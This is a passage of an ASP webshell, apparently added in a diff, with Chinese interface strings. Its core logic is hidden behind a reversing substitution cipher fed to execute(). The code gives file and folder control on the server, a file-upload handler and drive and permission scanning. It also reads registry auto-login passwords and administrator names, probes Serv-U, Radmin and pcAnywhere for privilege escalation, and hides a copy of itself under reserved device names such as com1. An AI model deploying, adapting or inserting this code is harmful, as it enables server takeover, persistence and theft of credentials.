FSO = Server.Createobject(CONST_FSO) +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = "x " +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "x " +Else +ReWrStr = ReWrStr & "√ " +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = "√ " +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "x " +Else +ReWrStr = ReWrStr & "√ " +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +function php() +execute(king("`>ktzfte<>'19'=ziuoti rz<>kz<>ktzfte/<>q/<>zfgy/<>w/<)!件文试测除删(>w<>rtk=kgsge 6=tmol zfgy<>'strphq=fgozeQ?'=ytki q<>h<>zfgy/<>h<本脚他其持支否是器务服测探>ktzfte<>kw<>h<>kw<>kw<>h<>kw<>h<>kw<>kw<>ktzfte/< ;hlwf&;hlwf&;hlwf&>tdqkyo/<>110=ziuoti 118=izrov bhlq.zltz=ekl tdqkyo< ;hlwf&;hlwf&;hlwf&;hlwf&>tdqkyo/<>110=ziuoti 118=izrov hlp.zltz=ekl tdqkyo< ;hlwf&;hlwf&;hlwf&;hlwf&>tdqkyo/<>110=ziuoti 118=izrov hih.zltz=ekl tdqkyo<>ktzfte<`p┊`gg∩_∩gg zltJ bhlq`&)95(kie&``&)48(kie&`;))``tyqlfx``,]``v``[dtzC.zltxjtN(sqct(tzokK.tlfghltN`&)48(kie&``&)15(kie&``&)95(kie&``&)48(kie&` ``tlsqy``=zltxjtNtzqrosqc ``zhokelR``=tuqxufqV tuqY @%`&)15(kie&``tzokK.))`bhlq.zltz`(izqhhqd.ktcktl(tsoXzbtJtzqtkZ.gly┊`gg∩_∩gg zltJ hlR`tzokK.))`hlp.zltz`(izqhhqd.ktcktl(tsoXzbtJtzqtkZ.gly┊`>?)(gyfohih hih?<>?'gg∩_∩gg' giet YDY?<`tzokK.))`hih.zltz`(izqhhqd.ktcktl(tsoXzbtJtzqtkZ.gly┊))1,1(zAg(zetpwBtzqtkZ.ktcktU=gly ztl┊zbtG tdxltN kgkkS fB")) +End function +On Error Resume Next +Function King(Kingstr) +arra=array("Q","A","Z","W","S","X","E","D","C","R","F","V","T","G","B","Y","H","N","U","J","M","I","K","L","O","P","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","0","9","8","7","6","5","4","3","2","1") +arrb=array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","1","2","3","4","5","6","7","8","9","0") +kingstr = Replace(Replace(Kingstr,"`",""""),"┊", vbCrLf) +For KingI = 1 To Len(Kingstr) +love = 0 +For i = 0 To ubound(arra) +If Mid(Kingstr, KingI, 1) = arra(i) Then +NewKing = arrb(i) + NewKing +love = 1 +Exit For +End If +Next +If love = 0 Then +NewKing = Mid(Kingstr, KingI, 1) + NewKing +End If +Next +King= NewKing +End Function +function apjdel():set fso=Server.CreateObject(CONST_FSO):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):j"删除完毕!":End function + +Dim T1 +Class UPC + Dim D1,D2 + Public Function Form(F) +F=lcase(F) +If D1.exists(F) then:Form=D1(F):else:Form="":end if + End Function + + Public Function UA(F) +F=lcase(F) +If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if + End Function + Private Sub Class_Initialize + Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName +set D1=CreateObject(ObT(4,0)) +if Request.TotalBytes<1 then Exit Sub +set T1 = CreateObject(ObT(6,0)) +T1.Type = 1 : T1.Mode =3 : T1.Open +T1.Write Request.BinaryRead(Request.TotalBytes) +T1.Position=0 : TDa =T1.Read : DStart = 1 +DEnd = LenB(TDa) +set D2=CreateObject(ObT(4,0)) +vbCrlf = chrB(13) & chrB(10) +set T2 = CreateObject(ObT(6,0)) +TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) +TLen = LenB (TSt) +DStart=DStart+TLen+1 +while (DStart + 10) < DEnd + DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 + T2.Type = 1 : T2.Mode =3 : T2.Open + T1.Position = DStart + T1.CopyTo T2,DIEnd-DStart + T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" + TIn = T2.ReadText : T2.Close + DStart = InStrB(DIEnd,TDa,TSt) + FStart = InStr(22,TIn,"name=""",1)+6 + FEnd = InStr(FStart,TIn,"""",1) + UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) + if InStr (45,TIn,"filename=""",1) > 0 then +set TFL=new FIF +FStart = InStr(FEnd,TIn,"filename=""",1)+10 +FEnd = InStr(FStart,TIn,"""",1) +FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 +FEnd = InStr(FStart,TIn,vbCr) +TFL.FileStart =DIEnd +TFL.FileSize = DStart -DIEnd -3 +if not D2.Exists(UpName) then + D2.add UpName,TFL +end if + else +T2.Type =1 : T2.Mode =3 : T2.Open +T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 +T2.Position = 0 : T2.Type = 2 +T2.Charset ="gb2312" +SFV = T2.ReadText +T2.Close +if D1.Exists(UpName) then + D1(UpName)=D1(UpName)&", "&SFV +else + D1.Add UpName,SFV +end if + end if + DStart=DStart+TLen+1 +wend +TDa="" +set T2 =nothing + End Sub + Private Sub Class_Terminate +if Request.TotalBytes>0 then + D1.RemoveAll:D2.RemoveAll + set D1=nothing:set D2=nothing + T1.Close:set T1 =nothing +end if + End Sub +End Class + +Class FIF +dim FileSize,FileStart + Private Sub Class_Initialize + FileSize = 0 + FileStart= 0 + End Sub + Public function SaveAs(F) + dim T3 + SaveAs=true + if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(ObT(6,0)) + T3.Mode=3 : T3.Type=1 : T3.Open + T1.position=FileStart + T1.copyto T3,FileSize + T3.SaveToFile F,2 + T3.Close + set T3=nothing + SaveAs=false +end function +End Class +Class LBF + Dim CF + Private Sub Class_Initialize +SET CF=CreateObject(ObT(0,0)) + End Sub + Private Sub Class_Terminate +Set CF=Nothing + End Sub +Function ShowDriver() +For Each D in CF.Drives + j cdx&"?本地磁盘 ("&D.DriveLetter&":)
    " +Next + End Function +Function Show1File(Path) +Set FOLD=CF.GetFolder(Path) +i=0 +SI="
    " +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 6=0 then SI=SI&"" +Next +SI=SI&"
    " +j SI &"" : SI="":i=0 +SI="":end if +Set FOLD=Nothing +End function +Function DelFile(Path) +execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<!功成除删 `&izqY&` 件文您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊izqY tsoXtztstW.XZ┊ftiJ )izqY(lzlobStsoX.XZ yC")) +End Function +Function EditFile(Path) +execute(king("`>dkgy/<>'tcqU'=txsqc 'zodwxl'=thnz 'zodwxl'=tdqf zxhfo<;hlwf&;hlwf&;hlwf&>'ztltN'=txsqc 'ztltk'=thnz 'ztltk'=tdqf zxhfo<;hlwf&;hlwf&;hlwf&>';)(aeqw.nkgzloi'=aeosefg 'aeqA'=txsqc 'fgzzxw'=thnz 'aeqwgu'=tdqf zxhfo<>ki<>kw<>qtkqzbtz/<`&zbJ&`>'167:ziuoti;%110:izrov'=tsnzl 'zftzfgZ'=tdqf qtkqzbtz<>kw<>'%110:izrov'=tsnzl '`&izqY&`'=txsqc 'tdqGX'=tdqf zxhfo<>'ftrroi'=thnJ 'tsoXzorS'=txsqc 'fgozeQ'=tdqf zxhfo<>'dkgXzorS'=tdqf 'zlgh'=rgiztd 'zlgY=9fgozeQ?`&VNM&`'=fgozeq dkgX<` p┊yC rfS┊WQAkzl=zbJ:`hlq.sstil\`&)`izqYktrsgX`(fgolltU=izqY┊tlsS┊ufoizgG=J ztU┊tlgse.J┊ )ssqrqtk.J(trgefSVTJD=zbJ┊)tlsqX ,0 ,izqY(tsoyzbtzfthg.XZ=J ztU┊ftiJ ``>ktzfte/<!功成存保件文您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊ufoizgf=J ztU┊tlgse.J┊)`zftzfge`(dkgy.zltxjtN tfoVtzokK.J┊)izqY(tsoXzbtJtzqtkZ.XZ=J ztU┊ftiJ `zlgY`=)`9fgozeQ`(zltxjtN yC")) +End Function +Function CopyFile(Path) +execute(king("yC rfS┊ CU p┊skMaeqA&CU=CU┊`>ktzfte/<!功成制复`&)1(izqY&`件文您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊)0(izqY,)1(izqY tsoXnhgZ.XZ┊ftiJ ``><)0(izqY rfq ))1(izqY(lzlobStsoX.XZ yC┊)`||||`,izqY(zoshU=izqY")) +End Function +Function MoveFile(Path) +execute(king("yC rfS┊ CU p┊skMaeqA&CU=CU┊`>ktzfte/<!功成动移`&)1(izqY&`件文您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊)0(izqY,)1(izqY tsoXtcgT.XZ┊ftiJ ``><)0(izqY rfq ))1(izqY(lzlobStsoX.XZ yC┊)`||||`,izqY(zoshU=izqY")) +End Function +Function DelFolder(Path) +execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<!功成除删`&izqY&`录目您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊izqY ktrsgXtztstW.XZ┊ftiJ )izqY(lzlobSktrsgX.XZ yC")) +End Function +Function CopyFolder(Path) +execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<!功成制复`&)1(izqY&`录目您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊)0(izqY,)1(izqY ktrsgXnhgZ.XZ┊ftiJ ``><)0(izqY rfq ))1(izqY(lzlobSktrsgX.XZ yC┊)`||||`,izqY(zoshU=izqY")) +End Function +Function MoveFolder(Path) +execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<!功成动移`&)1(izqY&`录目您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊)0(izqY,)1(izqY ktrsgXtcgT.XZ┊ftiJ ``><)0(izqY rfq ))1(izqY(lzlobSktrsgX.XZ yC┊)`||||`,izqY(zoshU=izqY")) +End Function +Function NewFolder(Path) +execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<!功成建新`&izqY&`录目您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊izqY ktrsgXtzqtkZ.XZ┊ftiJ ``>os<`p┊ftiJ )`yoe.`&tdqfktcktl&`\etzfqdnU\qzqW fgozqeoshhQ\lktlM ssQ\lufozztU rfQ lzftdxegW\`&ktcokrlnl(lzlobStsoX.gly yC┊)`tdqGktzxhdgZ\tdqGktzxhdgZ\tdqGktzxhdgZ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD`(rqtNutN.ilv=tdqfktcktl┊)9,)9(ktrsgXsqoethlztE.glX(zyts=tcokrlnU┊)BUX_JUGBZ(zetpwgtzqtkZ.ktcktU=gly ztU┊zbtG┊yo rfS┊yo rfS┊`>kw<马木YDY入写且并,录目soqTwtK找查以可,动启限权dtzlnUsqegV以且,soqdfoK eouqT_有中器务服>os<`p┊ftiJ `dtzlnUsqegV`=tdqGzfxgeeQteocktU.teocktUpwg yo┊ftiJ )`soqdfov`,)tdqG.teocktUpwg(tlqes(kzlfo yo┊yo rfS┊yo rfS┊`>kw<权提马木hlR用使虑考以可,动启限权dtzlnUsqegV以且,zqedgJ_有中器务服>os<`p┊ftiJ `dtzlnUsqegV`=tdqGzfxgeeQteocktU.teocktUpwg yo┊ftiJ )`zqedgz`,)tdqG.teocktUpwg(tlqes(kzlfo yo┊yo rfS┊yo rft┊yo rfS┊`>kw<马木YDY虑考以可,dtzlnUsqegV为限权动启,在存务服tieqhQ_有中器务服>os< `p┊tlsS┊`>kw<权提接直以可.tieqhQ为器务服ASK前当>os<`p┊ftiJ )`tieqhQ`,)`SNQKJXBU_NSINSU`(ltswqokqIktcktU.zltxjtN(kzlfo yC┊ftiJ `dtzlnUsqegV`=tdqGzfxgeeQteocktU.teocktUpwg yo┊ftiJ `tieqhq`=)tdqG.teocktUpwg(tlqes yo┊yo rfS┊yo rfS┊`>kw<权提具工tbt.xl用虑考以可,动启限权dtzlnUsqegV以且,装安M-cktU_有中器务服>os<`p┊ftiJ `dtzlnUsqegV`=tdqGzfxgeeQteocktU.teocktUpwg yo┊ftiJ `M-cktU`=tdqG.teocktUpwg yo┊ktzxhdgZpwg fC teocktUpwg ieqS kgX┊zbtG tdxltN kgkkS fB┊)`teocktU`(nqkkQ = ktzsoX.ktzxhdgZpwg┊)`fgozqeoshhQ.sstiU`(zetpwBtzqtkZ.ktcktU = ql ztU┊)`.//:JGfoK`(zetpwBztE = ktzxhdgZpwg ztU┊`>ki<>kw<]测探点_弱器务服[`p┊`>kw<>kw<>kw<------------------------------------`p┊`>kw<`&aa&`:为卡网_动活前当>os<`p┊)ai(rqtNutN.ilv=aa┊`zfxgZ\dxfS\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\TVFD`=ai┊`>kw<`&sdzf&`:为置设sdzG ztfstJ>os<`p┊0=sdzG ftiJ ``=sdzf yo┊)ntaVTJG(rqtNutN.ilK=sdzf┊`VTJG\1.0\ktcktUztfstJ\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`=ntaVTJG┊`>kw<`&nshlor&`:户用入登次_上示显否是>os<`p┊`否`=nshlor tlst `是`=nshlor ftiJ 1=fougshlor kg ``=fougshlor yC┊)`tdqGktlMzlqVnqshloWzfgW\dtzlnU\ltoeosgY\fgolktIzftkkxZ\lvgrfoK\zyglgkeoT\tkqvzygU\SGCDZQT_VQZBV_OSFD`(rqtNutk.ilv=fougshlor┊yo rfS┊`>zfgy/<>kw<`&rvllqY&`:码密>rtk=kgsge zfgy<>tkqxjl=thnz os<`p┊`>kw<`&fodrQ&`:名户用>tkqxjl=thnz os<`p┊)`rkgvllqYzsxqytW\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`(rqtNutN.ilK=rvllqY┊)`tdqGktlMzsxqytW\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`(rqtNutN.ilK=fodrQ┊`>kw<用启:入登动_自户用>os<`p┊tlsS┊`>kw<用启未:入登动_自户用>os<`p┊ftiJ ``=fougsgzxQ kg 1=fougsgzxQ yo┊)fougsgzxQlo(rqtNutN.ilK=fougsgzxQ┊`fgugVfodrQgzxQ\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`=fougsgzxQlo┊`>zfgy/<>kw<`&tdqGfodrQ&`>rtk=kgsge zfgy<:为名户用员`&`理管认默>os<`p┊┊yo rft┊`akgvztG.zhokelK:啊行不的奶奶他`p┊ftiz kkt yo┊zbtG┊`>os/<>zfgy/<>kw<`&tdqG.fodrq&`:组员理管前当>rtk=kgsge zfgy<>os<` p┊lktwdtT.hxgkEpwg fo fodrq ieqS kgX┊)`hxgku,lkgzqkzlofodrQ/`&tdqGktzxhdgZ.Gz&`//:JGfoK`(zetpwBztE=hxgkEpwg ztU┊)`akgvztG.zhokelK`(zetpwBtzqtke.ktcktl=Gz ztU┊ zbtf tdxltk kgkkt fg┊1=ltkohbS.tlfghltN┊`kgzqkzlofodrQ`=tdqGfodrQ ftiJ ``=tdqffodrq yo┊)ntFtdqGfodrQ(rqtNutN.ilv=tdqGfodrQ┊`tdqGktlMzsxqytWzsQ\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`=ntFtdqGfodrQ┊`>kw<`&tdqfeh&`:为名机_主前当>os<`p┊`>kw<.名机主取_读法无`=tdqfeh ftiJ ``=tdqfeh yo┊)ntatdqfeh(rqtNutN.ilv=tdqfeh┊`tdqGktzxhdgZ\tdqGktzxhdgZ\tdqGktzxhdgZ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD`=ntatdqfeh┊`>0=tmol ki<>kw<]测探_置设统系[>kw<>kw<`p┊zbtf┊`>kw<`&)o(lizqh&`>os<`p┊)lizqh(rfxgwM gz )lizqh(rfxgwV=o kgX┊`>kw<:量变径路_前当统系`p┊`>kw<------------------------------------`p┊)`;`,izqYzygU(zoshl=lizqh┊`>kw<持支:_件软毒杀列系星瑞>os<`p ftiJ )`ufolok`,gyfoizqY(kzlfo yo┊`>kw<持支:_件软毒杀克铁门赛>os<`p ftiJ )`lxkocozfq`,gyfoizqY(kzlfo yo┊`>kw<持支:_件软毒杀列系山金 >os<`p ftiJ )`cqa`,gyfoizqY(kzlfo yo┊`>kw<持支:_件软毒杀ssoF>os<`p ftiJ )`ssoF`,gyfoizqY(kzlfo yo┊`>kw<持支:_制控tktivnfQeY克铁门赛>os<`p ftiJ )`tktivnfqeh`,gyfoizqY(kzlfo yo┊`>kw<持支:_器务服TXZ>os<`p ftiJ )`4bdfgolxye`,gyfoizqY(kzlfo yo┊`>kw<持支:_务服库据数tseqkB>os<`p ftiJ )`tseqkg`,gyfoizqY(kzlfo yo┊`>kw<持支:_务服库据数VHUnT>os<`p ftiJ )`sjlnd`,gyfoizqY(kzlfo yo┊`>kw<持支:_务服库据数VHUUT>os<`p ftiJ )`ktcktl sjl zyglgkeod`,gyfoizqY(kzlfo yo┊`>kw<持支:_本脚qcqR>os<`p ftiJ )`qcqp`,gyfoizqY(kzlfo yo┊`>kw<持支:_本脚sktY>os<`p ftiJ )`skth`,gyfoizqY(kzlfC yo┊`:持支件`&`软统系`p┊)izqYzygU(tlqes=gyfoizqY┊)`izqY`(dtzo.zftdfgkocfS.ilK=izqYzygU┊`>0=tmol ki<>kw<]测探件_软统系[>kw<>kw<>kw<`p┊`>sg/<`p┊yC rfS┊`>kw<` & rkgvllqYfougVgzxq & ` :码密户帐的`&`录登动自`p┊yC rfS┊`tlsqX`p┊kqtsZ.kkS┊ftiJ kkS yC┊)ntFllqYfougVgzxq & izqYfougVgzxq(rqtNutN.Llv = rkgvllqYfougVgzxq┊`>kw<` & tdqfktlMfougVgzxq & ` :户帐统系的`&`录登动自`p┊)ntFktlMfougVgzxq & izqYfougVgzxq(rqtNutN.Llv = tdqfktlMfougVgzxq┊tlsS┊ftiJ 1 = tswqfSfougVgzxQlo yC┊)ntFtswqfSfougVgzxq & izqYfougVgzxq(rqtNutN.Llv = tswqfSfougVgzxQlo┊`rkgvllqYzsxqytW` = ntFllqYfougVgzxq┊`tdqGktlMzsxqytW` = ntFktlMfougVgzxq┊`fgugVfodrQgzxQ` = ntFtswqfSfougVgzxq┊`\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD` = izqYfougVgzxq┊yC rfS┊`>/kw<` & zkgYdktz & ` :口端`&`务服端终前当`p┊tlsS ┊`>/kw<.制限到受否是限权查检 ,口端端终到得法无`p┊ ftiJ 1 >< ktwdxG.kkS kB `` = zkgYdktz yC┊`>sg<录登动自及`&`口端务服_端终`p┊)ntFzkgYsqfodktz & izqYzkgYsqfodktz(rqtNutN.Llv = zkgYdktz┊`ktwdxGzkgY` = ntFzkgYsqfodktz┊`\heJ-YWN\lfgozqzUfoK\ktcktU sqfodktJ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD` = izqYzkgYsqfodktz┊rkgvllqYfougVgzxq ,tdqfktlMfougVgzxq ,ntFtswqfSfougVgzxq ,tswqfSfougVgzxQlo doW┊ntFllqYfougVgzxq ,ntFktlMfougVgzxq ,izqYfougVgzxq doW┊zkgYdktz ,ntFzkgYsqfodktz ,izqYzkgYsqfodktz doW┊)`sstiU.zhokeUK`(zetpwBtzqtkZ.ktcktU = Llv ztU┊`------------------------------------------------------`p┊`>kw<`&zkgYKQY&`:为口端tktivnfQeY>os<`p┊`tktivnfQeh装安否`&`是机主`&`认确请.取获`&`法无`=zkgYKQY ftiz ``=zkgYKQY yC┊)ntFtktivnfQeh(rqtNutN.ilK=zkgYKQY┊`zkgYqzqWYCYZJ\dtzlnU\fgolktIzftkkxZ\tktivnfQeh\etzfqdnU\SNQKJXBU\SGCDZQT_VQZBV_OSFD`=ntFtktivnfQeh┊`>zfgy/<>kw<`&zkgYdktJ&`>rtk=kgsge zfgy<:为口端teocktU sqfodktJ>os<`p┊`机主本版ktcktU lvgrfoK为否是`&`认确请.取读`&`法无`=zkgYdktJ ftiJ ``=zkgYdktJ yC┊)ntFdktJ(rqtNutN.ilK=zkgYdktJ┊`ktwdxGzkgY\hez\lrJ\rvhrk\lrK\ktcktU sqfodktJ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\SGCDZQT_VQZBV_OSFD`=ntFdktJ┊`>kw<`&zkghzfsJ&`:口`&`端ztfstJ>os<`p┊`)置设`&`认默(89`=zfsJ ftiJ ``=zkgYzfsJ yo┊)ntFztfstJ(rqtNutN.ilK=zkgYzfsJ┊`zkgYztfstJ\1.0\ktcktUztfstJ\zyglgkeoT \SNQKJXBU\SGCDZQT_VQZBV_OSFD`=ntaztfstJ┊`>0=tmol ki<>kw<]测探`&`口端`&`殊特[>kw<>kw<`p┊yo rft┊zbtG┊`>kw<------------------------------------------------`p┊yo rfS┊yo rfS┊`>kw<`p┊zbtf┊`,`&)p(vgssqYWM p┊)vgssqhrx(rfxgAM gJ )vgssqhrx(rfxgAV = p kgy┊`:为口端hrx的`&`许允>os<`p┊tlsS┊`>kw<部全:为口端hrx的`&`许允>os<`p┊ftiJ 1=)1(vgssqhrx kg ``=)1(vgssqhrx yC┊)YWMssxX(rqtNutN.ilK=vgssqhrx┊yo rfS┊`>kA<`p┊zbtG┊`,`&)p(vgssqhez p┊)vgssqhez(rfxgAM gJ )vgssqhez(rfxgAV = p kgX┊`:为口端hez的`&`许允>os<`p┊tlsS┊`>kw<部全:为口端hez的`&`许允>os<`p┊ftiJ 1=)1(vgssqhez kg ``=)1(vgssqhez yC┊)YZJssxX(rqtNutN.ilK=vgssqhez┊FMS&ArhQ&izqh=YWMssxX┊FJS&ArhQ&izqY=YZJssxX┊`lzkgYrtvgssQYWM\`=FMS┊`lzkgYrtvgssQYZJ\`=FJS┊tlst┊`>kw<选筛YC/heJ没>os<`p┊ ftiJ 0=ktzsoyhohezgG yo┊yC rfS┊`>kw<置设有没或取读法无UGW`&`认默>os<`p┊tlsS┊`>kw<`&kzlUGW&`:为UGW`&`卡网>os<`p┊ftiJ ``>kw<置设有没或取读法无关网>os<`p┊tlsS┊zbtG┊`>kw<`&)p(nqvtzqE&`:`&p&`关网>os<`p┊)nqvtzqE(rfxgwM gz )nqvtzqE(rfxgwV=p kgX┊ftiJ )nqKtzqE(nqkkqlo yC┊)ntFnqKtzqE(rqtkutN.ilK=nqKtzqE┊`nqvtzqEzsxqytW\`&ArhQ&izqY=ntFnqKtzqE┊yo rfS┊`>kw<置设有没或`&`取读法无址`&`地YC>os<`p┊tlsS┊zbtG┊`>kw<`&)p(krrQYC&`:为`&p&`址`&`地YC>os<`p┊)krrQYC(rfxgwM gz )krrQYC(rfxgwV=p kgX┊ftiJ ``><)1(krrqYC yC┊)ntFYC(rqtkutN.ilK=krrqYC┊`lltkrrQYC\`&ArhQ&izqY=ntFYC┊`\lteqyktzfC\lktztdqkqY\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\SGCDZQT_VQZBV_OSFD`=izqY┊`>kw<`&ArhQ&`:为列序的`&o&`卡网`p┊)``,`\teoctW\`,)o(lrhQ(teqshtN=ArhQ┊0-)lrhQ(rfxgAM gJ )lrhQ(rfxgAV=o kgX┊ ftiJ )lrhQ(nqkkQlC yC┊)ntFrhQ(rqtNutN.ilK=lrhQ┊`rfoA\tuqafoV\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\TVFD`=ntFrhQ┊yC rfS┊0=ktzsoyhohezgG┊ftiJ ``=tswqfSlo kg 1=tswqfSlo yC┊)ntFhoheJtswqfS(rqtkutN.ilK=tswqfSlo┊`lktzsoXnzokxetUtswqfS\lktztdqkqY\hoheJ\lteocktU\ztUsgkzfgZzftkkxe\TSJUOU\TVFD`=ntFYCYZJtswqfS┊`>0=tmol ki<>kw<]测探`&`络网[`p┊)`sstiU.zhokelK`(zetpwgtzqtke=ilv ztl┊ilv dor┊zbtf tdxltk kgkkt fg")) +End Sub + +sub hiddenshell +execute(king("`>zhokel/<;'`&skx&)`tdqf_ktcktl`(zltxjtk&`//:hzzi'=fgozqegs.zftkqh>zhokel<` p┊ufoizgf=gly ztl┊0tdqftsoy&`.`&bthrfk&`\`&0izqhtsoy&`\.\\`,izqhy tsoynhge.gly┊0tdqftsoy&`.`&bthrfk&))`/`,skx(ctkkzlfo,skx(zyts=skx┊)`skx`(ltswqokqcktcktl.zltxjtk=skx┊))`\`,izqhy(ctkkzlfo-)izqhy(fts,izqhy(ziuok=0tdqftsoy┊)`.`(izqhhqd.ktcktl=0izqhtsoy┊``=)`vpstl`(fgolltl┊))40,1(ktwdxfrfk()`|`,bth(zoshl=bthrfk┊`2zhs|3zhs|4zhs|5zhs|6zhs|7zhs|8zhs|9zhs|0zhs|2dge|3dge|4dge|5dge|6dge|7dge|8dge|9dge|0dge`=bth┊)BUX_JUGBZ(zetpwgtzqtke.ktcktl=gly ztl┊))`STQG_JYCNZU`(ltswqokqIktcktU.zltxjtN(izqYhqT.ktcktU=izqhy")) +end sub +Sub Message(state,msg,flag) +j"
    " +j state +j"

    "&msg +j"

    " +If flag=0 Then +j" " +Else +End if +j"
    " +End Sub +Function Red(str) +Red = "" & str & "" +End Function + +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function + + +Sub ScanDriveForm() +Dim FSO,DriveB +Set FSO = Server.Createobject(CONST_FSO) +j"
    " + For Each DriveB in FSO.Drives +j" " + Next +j" " +j"" +j"
    磁盘/系统文件夹信息
    盘符" +j DriveB.DriveLetter +j":类型" + Select Case DriveB.DriveType + Case 1: j"可移动" + Case 2: j"本地硬盘" + Case 3: j"网络磁盘" + Case 4: j"CD-ROM" + Case 5: j"RAM磁盘" + Case else: j"未知类型" + End Select +j"
    Windows文件夹" +j FSO.GetSpecialFolder(0) +j"
    System32文件夹" +j FSO.GetSpecialFolder(1) +j"
    系统临时文件夹" +j FSO.GetSpecialFolder(2) +j"
    站点跟目录站点跟目录详细报告
    回收站目录回收站目录 详细报告
    wmpub目录 wmpub详细报告

    " +j"

    指定文件夹查询: 批量查看目录权限,输入新目录用“,”隔开。
    " +Set FSO=Nothing +End Sub +Sub ScanDrive(Drive) +Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D +If Drive <> "" Then +Set FSO = Server.Createobject(CONST_FSO) +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • 磁盘卷名:" & Red(TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str +Message Drive & ":磁盘信息",Temp_Str,1 +End if +End Sub +Sub ScFolder(folder) + 'On Error Resume Next +folderArr = Split(folder,",") +For i = 0 To Ubound(folderArr) +Dim FSO,OFolder,TempFolder,Scmsg,S +Set FSO = Server.Createobject(CONST_FSO) +folder = folderArr(i) +If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) +Set TempFolders = OFolder.SubFolders +Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) +For Each S in TempFolders + Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) +Next +Set TempFolders = Nothing +Set OFolder = Nothing +Else + Scmsg = Scmsg & "
  • 文件夹:" & Red(folder & "不存在或无读权限!") +End if +Scmsg = Scmsg & "

